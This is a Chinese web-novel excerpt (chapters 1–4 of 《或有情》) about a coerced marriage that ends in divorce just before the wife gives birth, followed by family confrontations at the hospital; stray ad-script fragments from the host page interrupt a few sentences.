《或有情》 1. 一个孩子 《或有情》 文/吃一首诗 2024年10月12日 秋 1.一个孩子 杨沧没想到会有这一天。 她主动和周轩离婚,在她用来要挟他们结婚的孩子出生的时候。 产前阵痛在持续六个小时后,晚上11点35分宫口开了六指。 她像破凿开的山洞,预感到呼啸的火车即将卷着凄风冷雨无情地轧过她的身体,轰隆驰过,只留下经年难消的辙印烙在躯干上,任由丑陋斑驳敲打女人爱美的灵魂,撞击到骨架都在发抖。 山洪在下|体汹涌,不知谁喊的“羊水破了”,彻底撕下了她早就摇摇欲坠的体面,两鬓汗湿,身体肿胀,像个昏厥的母牛一样,杨沧被疾步推进了手术室。 头顶的白炽灯刺眼晕眩,天旋地转,眼前朦胧的白衣乱影中扫过一道熟悉的淡蓝,散着沉稳克制的气息,一如她早就熟悉了的冰凉冷漠,来不及讥诮几句,又或者她的嘴唇早就无力开合,只听到了手术室重重的关门声。 无论再漂亮风光的女人,到了此时,也会变得赤|裸狼狈,拱着凸起的白胖大肚子,羸弱、苍白,任人宰割的躺在手术台上。 手术并不顺利,杨沧本就有些贫血,又加上开指不顺利,这一晚早就虚耗了她许多体力。 夜色渐深,冷白的医院白墙外树影婆娑,秋风瑟瑟,手术室里紧张忙碌,杨沧的发丝早已被热汗泅湿一片,用力到红肿发紫的脸变得有些狰狞。 她坚持的顺产在脑袋无力地砸向床板后,还是变成了剖腹产,终于还是有一把锐刀终将指向她光滑的肚皮,开裂出蜿蜒丑陋的裂痕。 尖利冷硬,泛着银光的手术刀向她靠近时,杨沧平静地想: 这把刀,更该转着圈的捅进周轩那向来纹丝不乱的神经里。 手术室外,幽深狭长的走廊,静悄悄地坐着三个人。 杨沧的母亲万齐枝阖着眼睛,略露几分疲态,不过坐姿依旧优雅,身后白墙干净,并不见小医院常有的斑驳污垢,而她显然没有靠着的意思,从容的闭目养神。 旁边跟着她的是在杨家干了多年活的保姆,隔着两个凳子,仰着脑袋,嘴唇微张,靠墙熟睡着。 就要凌晨一点了,上了年纪的她显然有点熬不住。 挨着保姆坐的,也是位差不多年纪的妇女,不过脸上的皱纹比杨家保姆更多了几条,褶皱间带着苦日子熬过来的蹂|躏感。 这是杨家给杨沧找的护工王玉莲,她睁着眼睛在手术门和走廊上看来看去,并不见困乏,明显早已熟悉这样的工作方式。 她滴溜溜转的眼睛从墙壁,主仆,最后慢慢移到了走廊另一侧倚着的男人。 身着淡蓝衬衣的男人半边身子斜倚在窗户边,目光望着黑漆漆的窗外,从她的角度,只看得到他的侧脸。 不愧是有钱人家的女婿,真是英俊。 她心里感慨,快一个小时了,高挑的男人站在那里没动过,浑身散发出一股子精英人士的气质,让习惯了跟平头老百姓打交道的她有几分无措,以前不是没接触过有钱的,只不过回忆起来,跟对面站着的那位清冷男士比,似乎都多出些烟火气来。 多这么点烟火气,就代表着好接近。 她攥了攥手指,只盼着这家有钱人能好伺候一些。 村里出来,指腹还带着幼时干农活磨出的老茧,高中在市里上学,没少被嫌弃“泥腿子”出身的周轩哪里知道,自己被人看成了不食人间烟火的天之骄子。 他虚空的目光落在漆黑里的某一处,此时此刻,一个和他有血缘关系的孩子即将来到这个世界,而另一个他厌恶的女人正在自食恶果遭受着生育带来的疼痛折磨。 目光漆黑幽深,不知在想些什么。 凌晨1:44,孩子终于出生。 白色的手术室大门推开,万齐枝立即迎了上去。 医生隔着厚厚的医护口罩,抱着孩子没给她,而是看向了在场唯一一位男性,也是站的最远的,“爸爸呢,快过来啊。” 万齐枝要接孩子的手顿了下,回头没有表情地看向周轩。 他大步走过来。 医生笑容里带着官方的祝贺,“恭喜你要当爸爸了,今日喜得一枚小公主。” 周轩颔首,表情并没有太大的变化,视线落在那个皱巴巴的,胎毛还绞着白色羊水的婴儿身上。 这小孩,真丑。 听到医生的话,万齐枝欲言又止,眉毛几不可见的蹙了下,蜷回的手带着些遗憾。 周轩几乎是被医生拽着挤着地把小孩塞进了他的怀里。 极轻,柔软,陌生。 他看着怀里的人,试图调动出一些文学作品里总爱盛赞的父爱和为此刻场景编撰出的温情。 看了半晌,脸上不见丝毫变化。 杨沧也推出来了,脸色白的厉害,是疲倦累狠了的模样,万齐枝立马心疼地迎了上去,保姆也跟过去,贴心地说着:“小姐你安心睡吧,孩子好着呢,小脸嫩白,长大了肯定像你。” 周轩瞧这脏兮兮的婴儿,刻薄的想,不可能有这个可能出现。 一夜的兵荒马乱,直到早晨,众人才得以歇一歇。 万齐枝熬了一夜,也该回去了。走的时候把保姆也带走了,交代着中午会带些饭过来。 说罢,也没看女婿一眼,径直就走了。 偌大的VIP病房里,便只剩睡着的婴儿、旁边照看的护工、睡着的杨沧,和坐在单人沙发,支着下巴闭目歇息的周轩。 只不过他才合上眼,就又睁开了。 病床上,杨沧的目光静静落在他身上,两人对视,她的嘴在动。 周轩并不想起身,他已经站了一整夜不得歇息,更不想过去听杨沧说话。 不过,这个尖锐习惯了的女人并不会放过他,也没有自己刚动完手术需要静养的自觉。 她在说话,声若蚊蝇,周轩不得不起身。 杨沧:“你也走吧。” 很低,他听见了。 周轩:“什么时候再来?” 杨沧:“来干什么?” 周轩撇了眼旁边开始哭闹的婴儿,“这个问题你可以去找别人解答。” 说罢,他过去看护工换尿不湿,并没有打算继续搭理杨沧,王玉莲一边换一边放慢了动作教他。 周轩也不说话,颔首学着。 过会,医生过来按压杨沧的肚子,剖腹产结束,胎盘剥离之后子宫上有创面,需要手动按压促进宫腔内淤血排出体外。 医生上到病床,对着她刚开了口,就连清浅呼吸都会抽着疼的肚子狠狠按了下去。那双手像按压一块没有生命体验的橡皮泥,搓圆揉扁,杨沧瞬间冒出一身冷汗并怀疑自己就要成肉泥了。 婴儿不停啼哭,机械起伏的动作中夹杂着她疼痛的呜咽,空荡荡的房间变得逼仄沉闷,无人说话,窒息静悄悄地蔓延开来。 周轩沉默地看着孩子,眼尾都不曾往这里扫过。 杨沧的眼眶疼到发红,却狠厉道:“用、用力,医生你可以……更、更使劲一些按压……” 这是必经的阶段,只有用力,才能把淤血清空的彻底。 她笑,笑得歇斯底里。 舌尖似乎都被她咬出了血,口腔里一片血腥苦涩,却是身下的垫子晕染开了大片腥红,血块散落,触目惊心。 刺眼灼烧,如同火烧云时勾着血的惨烈黄昏,一轮红日静静挂在燎原的地平线上,像极了杨沧最终拿着亲子鉴定,去找周轩的那个傍晚。 她有备而来,就连周轩不承认这个孩子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是他的可能性都考虑到了。 男人骑着一辆喜德盛里款式很老的黑灰色山地车,大概是刚从研究院出来,才到人才公寓的门口就被她拦了下来,一条腿支着地面,另一个脚还踩着脚踏。 她漫不经心地打量着,觉得这台车时尚年轻的花纹并不符合他沉稳老派的气质,应该是淘的二手车,如果他能乖乖按照她的心思走,她不介意抽点时间,挑选辆TREK送给他。 不过这时候显然不是思考送他哪辆车的时候,男人并没有看她手里的材料,罕见地蹙起了眉,语气带着上了一天班又碰见了个大麻烦后的烦躁。 “杨沧,我没想到你能这么蠢。” 杨沧浑不在意,手里的文件点了点他肩膀,“查都查了,你不看看?” 周轩也没有想到有一天,会有女人拦在他回家的路口,对他说:“我怀孕了,孩子是你的,要是不信你可以看看这份亲子鉴定。” 女人巧笑嫣然,似乎觉得自己还有几分体贴。 周轩静静看她,身后一轮红红的太阳在他身后洒下瑰丽血红的光影,那张脸陷在烈焰的逆光里,杨沧看不清他的表情,只能无辜地耸耸肩,语气却并不是那么轻松。 “周轩,跟我结婚。” “不现实。”周轩毫不犹豫,这是他被拦下后,说的最干脆的话了。 “可我怀孕了。” 周轩沉沉看她。 杨沧笑意渐敛:“你想我打掉他?” 周轩:“生下他也不会感谢你。” 对于拥有他们这样的父母,周轩并不替这孩子感到开心。 杨沧要笑不笑地看他。 周轩脸色渐渐变得难看,长久对峙后,背后血日愈发的红,刺眼又绚丽。 “你认真的?”周轩心口有个窟窿在越扩越大,寒风不断钻入,冬日冷风尽数拢到了这里。 杨沧笑:“是啊。” 她甩甩手里的鉴定,“你那么爱你那小女友,总不忍心看着她死了吧。” 杨沧看着护工抽走那张流满了她的血的医用垫子,大片的红在眼前一闪而过,身体里的疼痛像有一辆火车在她身上疾驰而过,周轩拿了一张新的垫子往她身下铺。 他做事总是细致认真,即便厌恶她,动作依旧轻柔,将她的腿慢慢挪开又小心放回去,行动间看不出对她的反感。 杨沧讽笑,他一向如此装腔作势,心里厌极,也不在沉稳的脸上体现分毫。 她就那样坦露着,在他没有一丝波澜的目光里像一团白花花的猪肉放在那里而已。 杨沧吐了口气,这个时候她还能笑的出来,额边的汗又冒出一层。 王玉莲出去倒垃圾,她打趣:“你还是不是个男人?” 周轩瞥了她一眼,并没有回答这个无聊的问题,只是在整理好垫子后帮她盖上被子。 仅仅这么一眼,杨沧的脸歘的一下烧了起来,无端的羞耻和愤懑冲上她的大脑,她应该知道现在的自己有多憔悴和狼狈,甚至一种人老珠黄的慌张涌上了心头。 走样的身材,丑陋的伤疤,瘀肿的脸,任何一个男人都不会对这样的女人产生兴趣。 她手指紧紧攥着,指甲几乎要戳伤她的掌心,她感觉不到任何疼痛,只在周轩那不带任何一丝感情的目光里有被审判的羞耻和破天荒的自卑。 这样陌生的,完全属于弱者的情绪在她胸腔里纠缠着变为熊熊燃烧的怒火,变成更尖锐的矛,变成长满刺的荆棘。 她冷笑着看他质问:“周轩,婚都离了,你还在演什么?” 嘎吱。 门发出细微的声响,两人抬头看过去。 万齐枝终于将正眼落在了她这个女婿身上。 平静,威压。 “周轩,你来说,她这话是什么意思?” 2. 两张离婚证 2. 两张离婚证 混乱的一天,从周轩挨了一巴掌,杨沧跟着就被送进医院开始。 预产期将至,杨沧和周轩的关系也彻底降到了冰点。 连着一周,雷打不动的在醒来的第一句话听到的是杨沧的“你什么时候去跟我办离婚”后,周轩的耐心也已经告罄。 不管她是胡搅蛮缠,又或者欲擒故纵,周轩都没有解谜的欲|望。 坐在饭桌前,满桌饭菜,他却索然无味,看着对面的始作俑者,在数次忽略了她这个问题后第一次正视,他只说了句:“你确定?” 清城的秋预谋了半个月,还没有彻底进入,空气中飘着氤氲的热气,两人从车上下来,仰头望向面前的民政局大门,刺眼的光让俩人都有些睁不开眼。过了离婚冷静期,两人再次出现在这里。 周轩:“杨沧,进了这个门,我希望你能不要出尔反尔。” 杨沧手掌挡着射向脸上的光,目光从民政局的大门移向了远处的蓝天,乌云滚滚。 她呢喃道:……要降温了。 说罢,扶着腰,抬步先上去了。 周轩看着她沉重笨拙的身影,挺着大肚子,艰难的上那十几个台阶。 他抿唇,抬步跟了上去,并未伸手。 杨沧也不会要他的搀扶。 办公桌后,办理婚姻登记的女人翻着净身出户的材料单,又偷偷瞥了几眼面前坐着的肚子已经很大的女人,厌恶鄙夷的目光忍不住就投向了旁边的男人。 很显然,她已经在心里清楚利落的断了案。 这该死的男人肯定出轨了,不然这么漂亮的女人不可能挺着这么大的肚子决绝的要来民政局离婚。 她看着周轩的目光愈发嫌恶。 令人作呕的下半身动物,有这么漂亮的老婆还出去外面偷腥,怀胎十个月就是忍不住是吧! 登记员每天办理离婚案,大大小小的奇葩和无下限的事情也见了不少,能让她情绪如此不宁,实在是因为面前的这个女人样貌出挑,气质无一,怎么看都不该落得个这样的下场。 白瞎了长得这么帅的脸,衣冠禽兽,肯定没少在外面沾花惹草。 登记员例行公事的问了一些问题,又不得不按照规矩,看着女人的大肚子劝诫几句:“如果不是过不去的坎,还是好好过下去吧。” 尽管,她并不想这么说。 单亲妈妈并不是好做的,至少未来5年,都会比较艰难。 说着,她又厌倦地看向男人:“你老婆肚子都这么大了,你怎么由着她说离就离了,连孩子都不要了?” 周轩看了眼她的工牌,语气平常:“刘小姐,如果我们的手续都齐全,麻烦你能快一些,不要耽误后面还在排队的人。” 说完,他还客气的笑了下,温和礼貌。 刘艳右眼皮重重一跳,被男人噎住,再看回旁边的女人,似笑非笑地望着她,明显早熟悉自己丈夫的秉性。 四两拨千斤,带着些压迫。 刘艳唰唰翻文件,快速又压着火气的干活,最后啪啪重重盖了两下,朝他们递过去两张离婚证。 “自此,你们解除婚姻关系,嫁娶再无瓜葛。” 两人目光齐齐看向那两张红色离婚证,外观上看与结婚证并无多大区别。周轩拿到手,意外地看了眼杨沧,事情进展的比想象中还要顺利。她垂着睫,低头静静看着离婚证的封皮,并没有翻开,不知在想些什么,周轩也不知道自己在看什么,便收回了目光。 当初结婚证递过来时,他都没来得及看,杨沧接过去,一股脑都塞进了自己的包里,侧身亲了他一下,“东西还是交由我来保管吧。” 周轩几乎不敢相信自己结婚了,和眼前这个女人,更不想看那张充满了要挟和利益的结婚证。 更没想到,那张他的结婚证都没有翻开的机会,杨沧再递回给登记人员,还给他的是一张离婚证。 他迅速翻开,好似下一秒又会出什么意外。 上面的日期短暂而绵长,2023年2月14日——2023年9月4日。 将近7个月的时间,满眼的4就好像他们的婚姻,从一开始便注定了死亡。 这7个月就像大梦一场,如果不是肚里的孩子,杨沧觉得她只是做了一个冗长无趣又恶毒的梦,梦醒来,她不需要为一条即将出生的生命负责,更不用面对周轩轻轻吐出的那一口气。 极轻,极浅,几不可闻。 像一道雷声,在杨沧耳边炸开,让她的脸唰一下就变得惨白,难堪与愤恨在她脸上翻涌,以至于她回身狠狠给了他一巴掌。 猝不及防啪的一声回荡在空荡荡的房间里,力道一点都不轻,刘艳吓得愣在那里,不敢想她疼惜的弱者女人凶猛如斯,门外吵吵闹闹等着离婚的走廊迅速陷入安静,又渐渐发出微妙的窸窣声。 争吵、责骂,甩锅,众态纷呈,这样的丑陋和残酷是向往幸福的结婚区绝没有的。 桌边,杨沧那始料未及的一巴掌,将周轩手里的离婚证都扇了出去。 整个房间安静下来,只有他脸上那红红的印记逐渐浮现。 离婚证甩到了凳腿边,周轩看也没看,只抬头,漆黑的目光直直望着杨沧。 杨沧尖锐地笑着看他,丝毫不露怯意与懊悔。 周轩看着她眼眸里的呼啸狂风,左脸红肿愈发厉害,紧抿的嘴角竟是溢出了一道笑,感谢道:“这下我可以安心了。” 杨沧瞳孔猛地一缩。 咬人的狗不叫,他太知道怎么刺穿她了。 周轩:“今日谢谢杨小姐,放我自由。” 刘艳听的一头雾水,看着那对恨不得生吞活剥对方的夫妻,忽然觉得自己是不是想岔了一些东西。 再次走下台阶,陪杨沧扛着大肚子的还有口袋里那张薄薄的离婚证,七个月的任性妄为和威压逼迫,到最后只落了一句带着讽刺的感谢。 明明是下台阶,却比来时步伐还沉重了很多,遥远的乌云已经飘到了头顶,酝酿着一场席卷清城的秋雨。 她抬头望向天空阴云,身体忽然变得轻飘飘,等她意识到时,身体已经不受控制的往后倒了。 她飘渺的想,要是从这里滚下去,就真闹大了。 一尸两命,周轩还能不能那么气定神闲讥讽她。 臃肿的身体砸向坚硬地面的预感在即将落下时,被强硬的手拦在了怀里,晕厥前,杨沧迷迷糊糊地想,她好像看到了周轩慌张的神情。 怎么可能。 就连拿到离婚证,就连挨了一巴掌,他那张冷漠的表情都没变过。 杨沧再次醒来,是周轩冷冰冰的对她说:“你要生了。” 他的样子,杨沧如果不是耳朵好,更以为他在说:“你要死了。” 她没搭理他,目光扫过他脸上的红肿,落向他身后匆匆赶来的万齐枝身上。 周轩走到了一边,过会,又有护工急匆匆赶来。 就这么几天了,王玉莲本就打算明日去杨家待命,没想到今天杨沧突然有了反应。 等她忙完,知道对面那人是杨小 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 姐丈夫,便上前打了声招呼。 男人侧着脸,只点点头。 王玉莲便也没看到他脸上红肿,一直偷看着觉得这家女婿单看侧影就俊气,后来男人走过来抱孩子,她看见脸上的红巴掌心里一惊,立马脑补出一场豪门大戏。 她自然没身份问,没想到才几个小时,就又亲眼见证了。 啪一声,走廊外传出扇巴掌的声音。 王玉莲小心翼翼偷看了眼床上的杨沧,又飞速收回视线落向婴儿,心里打鼓。 走廊外,万齐枝收回手,严词厉目地看着周轩,很是不满:“周轩,你凭什么?” 周轩用舌尖舔了舔腮帮子,左脸已经麻的毫无知觉,嘴里甚至有血丝的味道,他不敢想现在那张脸肿成了什么样,向来注重外表着装,出门衬衣要整理的不见任何褶皱的他打量自己凌乱的衬衣。 熬了一个通宵,现在他眼下浮着黑眼圈,精神疲倦,浑身上下透着股熬了夜神经又紧绷许久的糟糕,而不到24小时挨了重重两巴掌,打他的人皆是言之凿凿,满眼怨怼。 他苦笑,轻道:“我也想知道,凭什么?” 万齐枝轻蹙眉,不乐意地听着他谦卑尽消的语气,“你说什么?” 要不是她回了家睡不着,担心女儿,做了乌鸡汤就赶着过来,还不知道这两人竟然背着她把婚给离了!当初她说什么都不同意,杨沧非要结,嫁给这么一个寂寂无名,父母连个正式工作都没有的农村人,恨的他父亲几乎要把她逐出家门,现在连一年都不到,竟然这么草草又离了婚,简直把婚姻当儿戏! 万齐枝不敢想,要是让杨沧父亲知道,会发展成什么样子。 周轩抬头看她,先开口道了“妈”,后又想起自己哪里还配,万齐枝现在怒中烧,回过味来估计要笑的合不拢嘴。现在她觉得女儿生孩子关头离了婚是被人欺负,受了委屈,过了这阵,自然就想明白是自家女儿终于甩了攀着自己家吸血的凤凰男,哪怕是离了婚,杨家的独女,哪里还愁找不到金龟婿,再差也比她向来看不上眼的只会死读书坐冷板凳的农村穷小子要强。 周轩心如止水的想着,一边缓缓道:“伯母,没有凭不凭什么,杨沧当初看上了我,我愿意娶,现在她想散,我也愿意离。与其追根溯源问个为什么,不妨想一想,你当初想要给杨小姐找个怎样的伴侣。” 门当户对又或者强强联手,怎么都好过他这个。 万齐枝也是骤然得知消息,怒发冲冠昏了头,回过味来,她自然知道这个离婚对自己女儿是大大的好,就算是离了婚,她杨家的女儿也多的是人要,更何况,那孩子…… “更何况。”身前的周轩接了她的话,“那女孩姓杨,想要捧着她宠着她的男人比比皆是。” “至于孩子……” 没名字,父母离婚了,只确定一点,孩子姓杨。 随母姓,杨家人说,天经地义。 因此,在回答前丈母娘的问题时,周轩并不觉得两张离婚证会影响什么。 “我和杨沧离婚,于杨沧无害,于杨家无害。” 至于于谁有害,很快就有了答案。 随着耳边由远及近的哭声,周轩转身,看向飞速赶来的人。 他缓慢的声音里带着微妙苦笑,对万齐枝说:“于我更是无害。” 只有信奉婚姻的人,才会被婚姻撕碎。 而倒到他面前,拽住他痛哭流涕,情绪接近崩溃边缘的中年妇女,显然就快要被撕碎了。 她痛嚎:“周轩,你怎么能离婚?!” 3. 三次扇巴掌 3.三次扇巴掌 万齐枝自恃身份,自然不会替别人教育儿子。给周轩一巴掌是发泄,再多她也不会让自己跌份。 出来时她给田妈一个眼神,总跟在万齐枝前后伺候的她没跟过来,周轩便已猜到,只是没想到会这么快。应该是人本就在来的路上,结果又听了这么一个消息。 他看着身前伤心大哭,因着嘶哑吼声眉间褶皱变得愈发深的女人,倒是有些哑口,身后跟着的男人也过来了,慌忙从工地赶过来的,身上的工装都没来得及换,斑斑点点的水泥印子在这层vip包间专属的医院走廊显得格格不入。 听说有孙女的他在路上还没想到说什么庆贺的话,便电话接到了那样一个消息。 周柱双眼眼含着让人不忍撕碎的期盼:“周轩,你跟爸说,你真跟你媳妇离婚了?” 周轩沉默地看着父亲,对伤心失望的母亲无言,同样对身上穿着薄薄单衣,穿过冷雨秋风赶来的他无话。 张小燕又惊又怒,把周轩本就褶皱的衬衫拽得愈发的乱。 在自家这个半天憋不出一个字的儿子嘴里撬不出东西,她只得无奈地看向万齐枝,语气柔了几分,带着不自觉的谨慎讨好:“亲家母,你,你说这俩孩子,真离了?这、这太胡闹了,肯定不能这样。” 这个关口,怎么能离婚! 万齐枝此时已是气定神闲,跟悲痛万分的张小燕比,她理了理鬓边本就不乱的卷发,笑不露齿道:“现在的孩子,主意一个比一个大,我们是管不了,但是我向来觉得你家周轩是个听话懂分寸的孩子,再怎么样也不会由着我们家杨沧胡来,今天这一出,在这种时候离婚,看来周轩也是觉得过不下去了。” 她沉吟了一下,“既然如此,我们做父母的还是看开些的好,儿孙自有儿孙福。” “亲家母,你怎么能这么说。”张小燕一听,又急又慌,这不是把离婚的锅全甩到了周轩的身上,而且孩子刚出生,怎么能任由这俩人真离了婚。这以后传出去,他家周轩可不就是个抛妻弃子的。 张小燕在一家小旅馆当保洁,平日里就不怎么爱说话,更不擅长跟人打交道,万齐枝这么一说,她心里害怕难受,嘴上又不知道怎么说,只能重重拽着周轩衣角,衬衣衣摆早被她从裤子里扯出来了,有的还压在牛仔裤里,更弄得周轩衣冠不整。 “阿轩,你,你快跟她解释一下,你绝不是和沧沧过不下去了,年轻小夫妻,拌嘴的事常有,这么大个人了,怎么能说离就离,再说你们都要三十了,孩子也有了……” 张小燕絮絮着,周轩垂眸看她。 张小燕年轻的时候没少干农活,那时候周柱在外打工,她领着孩子还种着十来亩的庄稼地,夏天收玉米,穿进又热又闷的玉米地里扛化肥袋子,那袋子里装的全是玉米棒,来来回回干几天,腰累的直到秋天都快过完了还直不起来。 以至于她比万齐枝还小几岁,那背却有点驼,皮肤因为常年的日晒雨淋而黝黑黯淡,眼角下垂,慌不择路看他时眼角的皱纹挤出数条,刻满了斑驳岁月对她的蹂|躏。 遑论对比万齐枝的贵气,小学没上完就因为家里穷开始下地干活的她就连体面的站在这里都不知是什么,她小心向万齐枝道歉说他绝对做不出这么没良心的事,婚肯定是不能就这么离的。 万齐枝只笑笑,连搭腔的意思都没有。 张小燕丧气,急得又开始哭,实在没办法推开门就闯到了病床前。 “沧沧,你要和阿轩离婚吗?” 杨沧看向她这位并不常见的前婆婆,“伯母,我们已经离婚了。” “沧沧!你们怎么能这么冲动!”张小燕急得不行,婚怎么能说离就离,这要是传到了村里,他们一家人都抬不起头了。尤其是媳妇还刚把孩子生下来,这个时候离婚,这怎么能行! 张小燕按着杨沧的床开始哭,不停给她道歉。 “是我家周轩,我家周轩做错事了对不对,是他对不起你,我让他向你道歉。”她一把拽过周轩,矮小孱弱的身体里爆发了巨大的能量,狠狠拍周轩胳膊:“快给你媳妇道歉,妈一向对你放心,你怎么能干出这么糊涂的事,这时候闹离婚,这要是影响了媳妇月子没做好,可是一辈子的事……” 她不停说着,空旷安静的房子被她一人琐碎的话几乎要填满到让人无法喘气。 杨沧看着在她床边又哭又急,慌得又是打周轩,又是拍自己,忽然无措。 她和张小燕交流并不多,多数情况下,这个保守沧桑的女人总是弓着腰,带着客气和不自觉讨好的语气同她说话。杨沧习惯了周围人这样对她,所以并不觉得有什么奇怪。只是当她痛苦着急地向她道歉,喋喋不休说着自己没教育好孩子时,她才恍惚回过味来,面前的女人算她半个妈。 她看着女人痛苦的面容,床边的手无意识地攥了攥,对上了身边周轩的黑眸。 男人幽深的视线还是那样静静地望着她,冷漠,刻薄,如一抹高悬的凉月,寒意入身,带着一丝嘲讽。 杨沧,你但凡真心把她当过婆婆,就不会任由事情发展成这样。 杨沧的喉咙发涩,她刚想说些什么,张小燕忽然按着周轩的肩膀,“沧沧,妈在这绝对不偏袒他,你说,他,他是不是做了对不起你的事情!” 不然她无论如何都想不明白,杨沧为什么要这种时候和周轩离婚。 “周轩。”张小燕沉下脸,那张沟壑深深的脸上满是严峻,“你跪下。” 周轩肩膀微僵:“妈?” 杨沧也愣了愣,心一跳,“伯母……” 她话还没说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 完,一道灰色身影突然从门边冲了过来,狠狠给了周轩一巴掌,那张本就红肿的不能看的脸,直接多了几道鲜红的血印。 “混账!还不跪下向你媳妇道歉!” 周柱脸暴青筋,瞪着周轩的眼睛里冒出的熊熊火焰几乎要燃烧掉周围所有闷涩的空气,紧紧攥着拳头,指甲缝里的黑泥里抹着几滴血印,常年日晒雨淋在工地里干活的他哪有时间剪指甲,一巴掌将周轩的脸都打烂了。 “我和你妈拿命供你上学,教你好好做人,就是让你在媳妇生孩子的时候沾花惹草,闹离婚的吗?!” “你还想不想让我和你妈活,脸都被你丢光了!今天这婚,说什么都不能离!明天就去把结婚证给我领了!” 周柱突然冲过来的重重一巴掌把杨沧也吓了一跳,本就没哄踏实的婴儿在此刻发出尖锐的哭声,整个房间变得愈发混乱和焦灼。 不知是巧合还是故意,从昨天到现在,那三次巴掌都打在了周轩的右脸,旧伤加新伤,那张脸已经青肿的不能看了,只有他,还依旧那样沉默的站在哄乱的人群里,站在风暴的正中心,好像脸上流着血,右眼瘀肿变形的人不是他。 张小燕还在拽着他的衣摆,扯着他让他跪下道歉。 这一切都荒唐到了极点,而他只是面无表情的看着她,目光尖锐的像一把狠厉的刀,再次穿透她的身体,在淤血残留的□□里旋转搅弄。 看,这就是我和你的婚姻,你怎么还会肖想我爱上你。 杨沧的胸口被重重砸了一下,就连医生骑在她腰上往刀口都没长好的腹部按压挤出一堆血时,都没此刻让她疼的无法呼吸。 砰! 张小燕一下子跪在了地上,抓着她的床单,哭啼:“沧沧,是我家对不起你,是我们养出了一个负心汉,你,你再给他一次机会,不要离婚,好不好,算妈求你了?” 杨沧闭上眼,无尽的嘲弄像冰冷的海水往她身体里倒灌,荒谬、可笑,而她是惹出今天一切闹剧的罪魁祸首。 “好。”她低道。 丑陋、不堪、混乱的戏剧在她的投降中戛然而止。 杨沧:“复婚的事我会考虑,你们都出去。” “这……”张小燕虽然不满意,但儿媳妇总算松口,她也算抓到了个盼头。 “杨沧!”万齐枝皱眉,她戏看的开心,却也没想两人真复合,刚想拒绝,杨沧淡淡掠了她一眼,她立即抿了唇。 自家女儿说一不二的性格她比谁都清楚,害怕起了反作用,闭上嘴也不敢说什么了。 况且万齐枝也看出来,这离婚少不得女儿一手推动。 杨沧是个心狠手狠的,事情进展到这个地步,怎么可能复婚,只不过是哄弄那俩乡下人的手段。 她遂安了心,再次喜上眉梢。 4. 一夜混沌大雾 4.一夜混沌大雾 事情发展到这种地步,杨沧除了暂时安抚,别无他法。 万齐枝事了拂衣去。 周轩去一楼外科包扎,身后还跟着俩苦大仇深的老人。 护士看着他左半张脸,隐约还是能看出样貌的出挑俊气,就是右半张脸…… 怎么就舍得对这么一张脸下重手啊,她咂舌,偷偷瞥了眼旁边两人。 张小燕抹了把脸,“周轩,你得会哄媳妇知不知道,沧沧愿意再给你个机会,你可不能再干糊涂事了,不管怎么着,也得把婚再给结了。” 周轩不语。 “我和你爸都这么大年龄了,也不指望你挣多大的钱,就盼着你好好过日子,到时候给你带带孩子,你说说现在,娶了这么好一个媳妇,人家不嫌你没买房还不要彩礼,孩子还都给你生了,虽是说……”张小燕有些遗憾,“生了个女孩,但你们歇个两年还能再要,你说你这时候离什么婚,你知道村子里的人会怎么戳你脊梁骨吗?” 护士一边给男人青肿眼睛旁的红血痕抹碘伏,一边偷瞟男人的脸,就这么被亲妈叨叨着,他依旧古井无波,淡雅从容,真是怎么看怎么赏心悦目,偏偏这絮叨的内容把她打回了现实。 原来是个渣男? 心里纳罕,又审判起这男人,不觉带出了厌恶情绪。 手上一重,男人面无表情看过来。 轻描淡写一眼,让她心里一慌,赶紧道歉,顾不得三心二意,上药专心了许多。 周柱就站在门边,僵着脑袋拧着眉,偶尔在张小燕歇息停顿的时候,插上一句,“你别给我犯浑,赶紧复婚!” 周轩从科室出来,两人又缀着跟在他身后上楼,在停到病房门口时,他才终于说出一句话:“你们看孩子了吗?” 张小燕局促地攥了攥手,干涩道:“瞥了一眼,放在床里面,旁边还站着个人,妈没敢过去。” 周柱:“……你媳妇在,我看什么,知道是你孩子就行。” 周轩:“孩子是我的,不过姓杨,名字还没起,你们要是有建议可以说说。” 张小燕面色一僵,捂着嘴泫然欲泣,抿抿唇想说什么话到嘴边又停了。 周柱垂着脑袋。 “阿轩,是爸妈没本事。”张小燕为自己的无能愧疚。 周轩推开门,只当没听见这老生常谈的话题。 杨沧没睡,孩子一直在哭闹,就连老手王玉莲都没能哄好,装修豪华的病房里回荡着婴儿哭泣的声音,周轩父母局促到不知怎么下脚,虚虚看了几眼便借口回去了。 周轩把两人送上公交,张小燕拉着他的手仍在交代,“阿轩,做男人得会向老婆低头,你什么都没有,性子可不能这么硬。” 公交车远去,难闻的尾气还扑在周轩脸上没散。 妇幼保健院的门口总是交通堵塞,形形色色的人急匆匆的你来我往,人群麻木的脸上透露出生活裹挟的机械,他站在那里,停了五分钟,在下一辆车为他打开门问上不上时,摇头转身又回了病房。 房间已经安静了下来,杨沧和孩子都在睡,他便关门又出去了。 包间里有厕所,他还是走到走廊尽头去了公用厕所,这层全是VIP,所以即便是医院的厕所,也没刺鼻难闻的药水味和挥散不去的老旧腐朽的味道,墙上不见黄斑,几个巨大的落地镜干净明亮。 周轩看着镜子里的人,右脸瘀肿的有些瘆人,一个眼大一个眼小,眉边一道不长的伤痕,整个人都散着股颓丧无用的气息。 他看着镜里的人,并不觉得陌生。 在杨沧这里,他总是这样无用,被丈母娘话语堆砌出不堪,被父母眼泪洗礼以廉价。 他的傲气自信尽消,哪还有研究院里的风光无限,前途无量,夸赞不绝的青年才俊该有的意气风发。 他嗤笑了一声,手从裤子口袋摸出离婚证。 垂眉看了几眼,记忆力超群的他早把那几行字印刻到了心底,可还是细细又看了一遍,这次不至于再挨巴掌,掏出手机,对着上面拍了一张。 周轩很少发朋友圈,为数不多的几条,都是转载公众号的一些关于芯片最新研究和行业热点的文章,下面点赞数寥寥,东西是好东西,同事里却没几个愿意下了班还看这些的。 他没写文案,就放了张照片,点了发送,手机揣回兜里回家补觉。 